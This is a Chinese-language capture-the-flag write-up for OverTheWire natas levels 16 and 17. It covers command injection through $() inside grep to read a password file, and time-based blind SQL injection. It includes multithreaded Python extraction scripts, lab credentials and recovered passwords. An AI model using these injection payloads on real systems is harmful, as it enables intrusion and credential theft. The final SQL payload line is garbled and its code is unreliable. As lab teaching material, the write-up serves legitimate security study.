本文采用threading、queue模块启用多线程,结合二分法算法思想(递归、非递归两种方法)实战natas的第16关、第17关,可大幅提升程序寻找通关密码的效率。
URL:http://natas16.natas.labs.overthewire.org
Username:natas16
Password:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
源码:
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&`\'"]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i \"$key\" dictionary.txt");
}
}
?>
考察命令注入,过滤了字符 ; | & ` ’ " ,查看源码,发现与natas9、10相似,不过相对于10的过滤,这里加上了正则过滤,使得截断与正则过滤都不能使用。但在php中"$()"可以在引号中使用,所以我们可以构造内层的grep命令的正则匹配:
passthru("grep -i \"($grep ^a /etc/natas_webpass/natas17)wrong\" dictionary.txt");
如果password 的首字母为a,内层检索到内容,则返回不为空,与后面的查询连接起来,使外层检索变形,返回为空,则继续进行外层检索,会输出标志字符wrong或者其他内容。这其实和盲注的思路一样,因此可以构建脚本获取下一关密码。
grep支持正则,可以选定范围[0-9]、[a-z]、[A-Z],然后用二分法提升程序效率
passthru("grep-i \"($grep ^[0-9] /etc/natas_webpass/natas17)wrong\" dictionary.txt");
passthru("grep-i \"($grep ^[a-z] /etc/natas_webpass/natas17)wrong\" dictionary.txt");
passthru("grep-i \"($grep ^[A-Z] /etc/natas_webpass/natas17)wrong\" dictionary.txt");
附上代码:
# coding=utf-8
import requests
import time
def reg_char_range(passwd,auth,char_range):
for chars in char_range.keys():
payload = {
'needle':'$(grep ^'+passwd+chars+' /etc/natas_webpass/natas17)wrong','submit':'Search'}
req = requests.get(url=url, auth=auth, params=payload)
if 'wrong' not in req.text:
return char_range[chars]
def findpass(passwd,chars,auth):
payload = {
'needle': '$(grep ^'+passwd +'['+ chars+'] /etc/natas_webpass/natas17)wrong', 'submit': 'Search'}
req = requests.get(url=url, auth=auth, params=payload)
if 'wrong' not in req.text:
# print(chars)
return True
def binary_search_recursion(chars,passwd,auth):
# """二分查找---递归"""
n = len(chars)
if n<1:
return False
mid = len(chars)//2
# 与中间值比较
if findpass(passwd,chars[mid],auth):
passwd=passwd+chars[mid]
return passwd
# 去左边子序列查找
elif findpass(passwd,chars[:mid],auth):
return binary_search_recursion(chars[:mid], passwd,auth)
# 去右边子序列查找
else:
findpass(passwd, chars[mid+1:],auth)
return binary_search_recursion(chars[mid+1:], passwd, auth)
if __name__=='__main__':
start=time.time()
url = "http://natas16.natas.labs.overthewire.org/index.php"
auth=requests.auth.HTTPBasicAuth('natas16','WaIHEacj63wnNIBROHeqi3p9t0m5nhmh')
passwd = ""
char_range={
"[0-9]":"0123456789","[a-z]":"abcdefghijklmnopqrstuvwxyz","[A-Z]":"ABCDEFGHIJKLMNOPQRSTUVWXYZ"}
for i in range(32): #password总长度32位
reg_chars = reg_char_range(passwd,auth, char_range)
# print(reg_chars)
passwd=binary_search_recursion(reg_chars,passwd, auth)
print(passwd)
end=time.time()
print('find passwd:%s ,cost time:%s'%(passwd,(end-start)))
执行结果:find passwd:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw ,cost time:173.7105748653412
其实二分法在编写测试代码时很常用,数量掌握二分法和多线程对提升运行效率有很大帮助。
没采用二分法的代码如下,耗时要多3倍多:
import requests
import time
start=time.time()
url = "http://natas16.natas.labs.overthewire.org/"
username = "natas16"
password= 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh'
au = requests.auth.HTTPBasicAuth(username,password)
ans=""
testCharacter="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
i=0
while i < len(testCharacter):
payload={
'needle':'$(grep -E ^'+ans+testCharacter[i]+'.* /etc/natas_webpass/natas17)hello','submit':'Search'}
req = requests.get(url,auth=au,params=payload)
if 'hello' not in req.text:
ans+=testCharacter[i]
print(ans)
i=0
continue
i+=1
end=time.time()
print("find passwd:%s,cost time %s" %('ans',end-start))
写个多线程结合二分法获取密码的脚本,先补充grep命令执行结果:
[root@192 html]# grep -E \\S\{32\} pass.txt
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
[root@192 html]# grep -E ^[0-9]\\S\{31\} pass.txt
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
[root@192 html]# grep -E ^[0-5]\\S\{31\} pass.txt
[root@192 html]# grep -E ^\\S{1}[A-Z]\\S{30\} pass.txt
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
根据上面的命令执行情况,我们可以对每一个位置的字符单独进行二分法筛选
附上代码:
# coding:utf-8
import time
import requests
import threading
import queue
import re
def get_payload(q,auth,result):
while not q.empty():
payload_dict=q.get()
chars=payload_dict['chars']
binary_search_recursion(payload_dict,auth,chars,result)
def findpass(payload,chars,auth,pos):
payload['needle']='$(grep -E \\\\S{%d}%s\\\\S{%d} /etc/natas_webpass/natas17)wrong' %(pos,'['+chars+']',31-pos)
req = requests.get(url=url, auth=auth, params=payload)
if 'wrong' not in req.text:
print(chars)
return True
def binary_search_recursion(payload_dict,auth,chars,result):
# """二分查找---递归"""
# chars=payload_dict['chars']
payload=payload_dict['payload']
# char_range=payload_dict['char_range']
pos=int(payload_dict['pos'])
n = len(chars)
if n<1:
return False
mid = len(chars)//2
# 与中间值比较
payload['needle'] = '$(grep -E \\\\S{%d}%s\\\\S{%d} /etc/natas_webpass/natas17)wrong' % (pos, '[' + chars[mid] + ']', 31 - pos)
req = requests.get(url=url, auth=auth, params=payload)
if 'wrong' not in req.text:
result[payload_dict['pos']]=chars[mid]
return result
# 去左边子序列查找
payload['needle'] = '$(grep -E \\\\S{%d}%s\\\\S{%d} /etc/natas_webpass/natas17)wrong' % (pos, '[' +chars[:mid]+ ']', 31-pos)
req = requests.get(url=url, auth=auth, params=payload)
if 'wrong' not in req.text:
return binary_search_recursion(payload_dict,auth,chars[:mid],result)
# 去右边子序列查找
else:
payload['needle'] = '$(grep -E \\\\S{%d}%s\\\\S{%d} /etc/natas_webpass/natas17)wrong' % (pos, '[' + chars[mid+1:] + ']', 31-pos)
req = requests.get(url=url, auth=auth, params=payload)
if 'wrong' not in req.text:
return binary_search_recursion(payload_dict,auth,chars[mid+1:],result)
if __name__=="__main__":
start=time.time()
threads=[]
threads_num=1
q=queue.Queue()
result={
}
def reg_char_range(payload,url,auth):
req = requests.get(url=url, params=payload,auth=auth)
if 'wrong' not in req.text:
return payload
url = "http://natas16.natas.labs.overthewire.org/index.php"
auth=requests.auth.HTTPBasicAuth('natas16','WaIHEacj63wnNIBROHeqi3p9t0m5nhmh')
char_range = {
'[0-9]': '0123456789', '[a-z]': 'abcdefghijklmnopqrstuvwxyz', '[A-Z]': 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'}
for i in range(32): #生成分别匹配0到32位的payload
i=int(i)
for payload_chars in char_range.keys():
payload= {
'needle':'$(grep -E \\\\S{%d}%s\\\\S{%d} /etc/natas_webpass/natas17)wrong' %(i,payload_chars,31-i),'submit':'Search'}
res=reg_char_range(payload, url, auth)
if res:
payload_dict={
'payload':res,'pos':i,'chars':char_range[payload_chars],'char_range':payload_chars}
print("payload dict:%s" %(payload_dict))
q.put(payload_dict)
break
for i in range(8):
t=threading.Thread(target=get_payload,args=(q,auth,result,))
threads.append(t)
for i in threads:
print(i)
i.start()
for i in threads:
i.join()
print(i)
print(result)
passwd=''
for i in sorted(result):
passwd=passwd+result[i]
end=time.time()
print("cost time:%s,passwd is %s" %(end-start,passwd))
8个线程,速度大幅提升,主要是前面生成payload耗时长了点,生成payload也可以加多线程
修改下代码,将前面生成payload也用多线程进行
# coding:utf-8
import time
import requests
import threading
import queue
import re
def get_payload(q,auth,result):
while not q.empty():
payload_dict=q.get()
chars=payload_dict['chars']
binary_search_recursion(payload_dict,auth,chars,result)
def findpass(payload,chars,auth,pos,result):
payload['needle']='$(grep -E \\\\S{%d}%s\\\\S{%d} /etc/natas_webpass/natas17)wrong' %(pos,'['+chars+']',31-pos)
req = requests.get(url=url, auth=auth, params=payload)
if 'wrong' not in req.text:
# print(chars)
return True
def binary_search_recursion(payload_dict,auth,chars,result):
# """二分查找---递归"""
payload=payload_dict['payload']
pos=int(payload_dict['pos'])
n = len(chars)
if n<1:
return False
mid = len(chars)//2
# 与中间值比较
if findpass(payload, chars[mid], auth, pos,result):
result[payload_dict['pos']]=chars[mid]
return result
# 去左边子序列查找
if findpass(payload, chars[:mid], auth, pos, result):
return binary_search_recursion(payload_dict,auth,chars[:mid],result)
# 去右边子序列查找
else:
if findpass(payload, chars[mid+1:], auth, pos, result):
return binary_search_recursion(payload_dict,auth,chars[mid+1:],result)
def reg_char_range(payload,url,auth):
req = requests.get(url=url, params=payload,auth=auth)
if 'wrong' not in req.text:
return payload
def make_payload(url,auth,char_range,q,q1):
# for i in range(32): #生成分别匹配0到32位的payload
# i=int(i)
while not q1.empty():
i=q1.get()
for payload_chars in char_range.keys():
payload= {
'needle':'$(grep -E \\\\S{%d}%s\\\\S{%d} /etc/natas_webpass/natas17)wrong' %(i,payload_chars,31-i),'submit':'Search'}
res=reg_char_range(payload, url, auth)
if res:
payload_dict={
'payload':res,'pos':i,'chars':char_range[payload_chars],'char_range':payload_chars}
print("payload dict:%s" %(payload_dict))
q.put(payload_dict)
# binary_search_recursion(payload_dict,auth,chars,result)
break
if __name__=="__main__":
start=time.time()
threads=[]
threads_num=8
q=queue.Queue()
q1=queue.Queue()
result={
}
passwd = ''
ths=[]
url = "http://natas16.natas.labs.overthewire.org/index.php"
auth = requests.auth.HTTPBasicAuth('natas16', 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh')
char_range = {
'[0-9]': '0123456789', '[a-z]': 'abcdefghijklmnopqrstuvwxyz', '[A-Z]': 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'}
for i in range(32):
q1.put(i)
for t in range(4):
t=threading.Thread(target=make_payload,args=(url, auth, char_range,q,q1,))
ths.append(t)
t.start()
for t in ths:
t.join()
print("make payload complete!")
for i in range(threads_num):
t=threading.Thread(target=get_payload,args=(q,auth,result,))
threads.append(t)
print('start get passwd!')
for i in threads:
i.start()
print(i)
for i in threads:
i.join()
print(i)
print('result dict complete!')
for i in sorted(result):
passwd=passwd+result[i]
end=time.time()
print("cost time:%s,passwd is %s" %(end-start,passwd))
URL:http://natas17.natas.labs.overthewire.org
Username:natas17
Password:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
源码:
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas17', '' );
mysql_select_db('natas17', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query
";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
//echo "This user exists.
";
} else {
//echo "This user doesn't exist.
";
}
} else {
//echo "Error in query.
";
}
mysql_close($link);
} else {
?>
数据库查询时,对传入的参数username的值未做过滤,存在注入。
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
但是,没有任何返回提示,试试基于时间的盲注
payload:index.php?debug=1&username=test" or 1 -- +
result:Executing query: SELECT * from users where username="test" or 1 -- "
提交payload,查看区别:
/index.php?debug=1&username=natas18111" and sleep(5) – +
提交错误的用户名,很快返回结果
/index.php?debug=1&username=natas18" and sleep(5) – +
提交正确的用户名,5秒以后返回结果
从源码中,我们已经获知数据库名为natas17,表名为users,该表存在username、password字段
ps:多线程虽然很快,但基于时间的盲注,我试了多次,因为网速等原因,还是难免会出错,线程数过高时,需要提高sleep的时间,以提高结果的准确性。
passwd is:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP,cost time is 143.450834274292
多线程结合二分法基于时间的盲注python3脚本:
import requests
import time
import threading
import queue
start =time.time()
q=queue.Queue()
url = 'http://natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw@natas17.natas.labs.overthewire.org/index.php'
key = {
}
passwd=''
threads_num=4
threads=[]
def findpass(q,url,key):
while not q.empty():
i=q.get()
print(i)
min = 32 #
max = 126 #
mid = (min + max) // 2
while min < max:
payload = r'natas18" and if(%d %(mid, i)
# print(payload)
try:
req = requests.post(url=url, data={
"username": payload}, timeout=4)
except requests.exceptions.Timeout as e:
min = mid + 1
mid=(min+max)//2 #往大数方向寻找
continue
max = mid
mid = (min + max) // 2
key[i]=chr(mid)
for i in range(1, 33):
q.put(i)
for i in range(threads_num):
t=threading.Thread(target=findpass,args=(q,url,key,))
threads.append(t)
for t in threads:
t.start()
for t in threads:
t.join()
for i in sorted(key):
passwd=passwd+key[i]
end=time.time()
print("passwd is:%s,cost time is %s" %(passwd,(end-start)))